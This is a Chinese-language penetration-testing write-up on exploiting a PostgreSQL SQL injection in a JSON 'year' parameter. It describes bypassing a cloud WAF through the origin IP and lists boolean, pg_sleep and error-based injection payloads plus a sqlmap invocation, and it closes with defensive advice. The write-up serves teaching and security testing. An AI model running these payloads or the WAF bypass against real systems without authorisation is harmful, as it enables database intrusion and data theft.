PostgreSQL注入:不在SQLMap一把梭
字数 1058 2025-08-15 21:31:54

PostgreSQL注入绕过WAF与手工利用技术

问题背景

在渗透测试项目中遇到一个PostgreSQL数据库注入点,常规的sqlmap自动化工具无法直接利用(即使使用--level 3参数)。主要面临两个挑战:

  1. 存在阿里云WAF防护
  2. 数据传输采用JSON格式

环境分析

网络防御分析

  • 传输恶意代码会触发阿里云WAF报警
  • 黑盒测试环境,无法确认具体防御设备

数据包特点

  • 采用JSON格式传输数据
  • 注入点位于year参数(如"2020")
  • 系统自动携带单引号进行格式处理

解决思路

  1. 绕过云WAF:首先解决防护问题
  2. 调整JSON格式:确保恶意数据能正常发送
  3. 分析返回内容:确定注入利用方式
  4. 自动化利用:最后尝试使用sqlmap

详细实现步骤

1. 绕过云WAF技术

方法:通过修改hosts文件绑定目标真实IP

  • 原理:部分云WAF基于域名进行防护,直接访问IP可能绕过
  • 注意:此方法成功率有限,仅为个案解决方案

参考技术原理:云WAF绕过技术

2. JSON格式调整

注入点位于year参数,需注意:

  • 系统自动携带单引号
  • 需要确保payload正确闭合
  • 常见闭合方式:'--'';'

3. PostgreSQL手工注入技术

基础测试payload

parameter = 2-1
parameter = 1 and 1 = 2
parameter = 1 or 1 = 2-1
parameter = 1' and '1'='1
parameter = 1' and '1'='2

PostgreSQL特有payload

时间延迟测试

parameter=1;select pg_sleep(5)
parameter=1';select pg_sleep(5)
parameter=1');select pg_sleep(5)
parameter=1);select pg_sleep(5)
parameter=1));select pg_sleep(5)
parameter=select pg_sleep(5)

信息收集

-- 查看版本
SELECT version()

-- 查看用户信息
SELECT user;
SELECT current_user;
SELECT session_user;
SELECT usename FROM pg_user;  -- 注意是usename不是username
SELECT getpgusername();

-- 查看当前数据库
SELECT current_database()

报错注入利用

成功利用的payload示例:

2020')as jiuo Where 1=1 and 1=(select version())--

关键点:

  • 需要根据返回的错误信息调整payload
  • 确认是报错注入后,可针对性构造查询

4. sqlmap自动化利用

成功手工确认注入点后,可配置sqlmap进行自动化测试:

sqlmap.py -r b.txt --dbms PostgreSQL --suffix -- -v 3 --level 3 --tech E

参数说明:

  • -r b.txt:包含请求的数据包文件
  • --dbms PostgreSQL:指定数据库类型
  • --suffix --:指定后缀闭合方式
  • -v 3:详细输出
  • --level 3:测试等级
  • --tech E:指定使用报错技术

关键经验总结

  1. WAF绕过是前提:没有绕过防护,所有注入尝试都是徒劳
  2. PostgreSQL语法特殊性
    • 版本查询不是@@version而是version()
    • 用户字段是usename而非username
  3. 报错注入需要精确闭合:根据错误信息调整payload结构
  4. 自动化工具需要精确配置:sqlmap需要正确指定数据库类型和闭合方式

防御建议

  1. 对JSON输入进行严格验证和过滤
  2. 使用预编译语句(Prepared Statements)
  3. 最小化数据库错误信息暴露
  4. 实施多层WAF防护策略
PostgreSQL注入绕过WAF与手工利用技术 问题背景 在渗透测试项目中遇到一个PostgreSQL数据库注入点,常规的sqlmap自动化工具无法直接利用(即使使用 --level 3 参数)。主要面临两个挑战: 存在阿里云WAF防护 数据传输采用JSON格式 环境分析 网络防御分析 传输恶意代码会触发阿里云WAF报警 黑盒测试环境,无法确认具体防御设备 数据包特点 采用JSON格式传输数据 注入点位于 year 参数(如"2020") 系统自动携带单引号进行格式处理 解决思路 绕过云WAF :首先解决防护问题 调整JSON格式 :确保恶意数据能正常发送 分析返回内容 :确定注入利用方式 自动化利用 :最后尝试使用sqlmap 详细实现步骤 1. 绕过云WAF技术 方法 :通过修改hosts文件绑定目标真实IP 原理:部分云WAF基于域名进行防护,直接访问IP可能绕过 注意:此方法成功率有限,仅为个案解决方案 参考技术原理: 云WAF绕过技术 2. JSON格式调整 注入点位于 year 参数,需注意: 系统自动携带单引号 需要确保payload正确闭合 常见闭合方式: '--' 或 ';' 3. PostgreSQL手工注入技术 基础测试payload PostgreSQL特有payload 时间延迟测试 : 信息收集 : 报错注入利用 成功利用的payload示例: 关键点: 需要根据返回的错误信息调整payload 确认是报错注入后,可针对性构造查询 4. sqlmap自动化利用 成功手工确认注入点后,可配置sqlmap进行自动化测试: 参数说明: -r b.txt :包含请求的数据包文件 --dbms PostgreSQL :指定数据库类型 --suffix -- :指定后缀闭合方式 -v 3 :详细输出 --level 3 :测试等级 --tech E :指定使用报错技术 关键经验总结 WAF绕过是前提 :没有绕过防护,所有注入尝试都是徒劳 PostgreSQL语法特殊性 : 版本查询不是 @@version 而是 version() 用户字段是 usename 而非 username 报错注入需要精确闭合 :根据错误信息调整payload结构 自动化工具需要精确配置 :sqlmap需要正确指定数据库类型和闭合方式 防御建议 对JSON输入进行严格验证和过滤 使用预编译语句(Prepared Statements) 最小化数据库错误信息暴露 实施多层WAF防护策略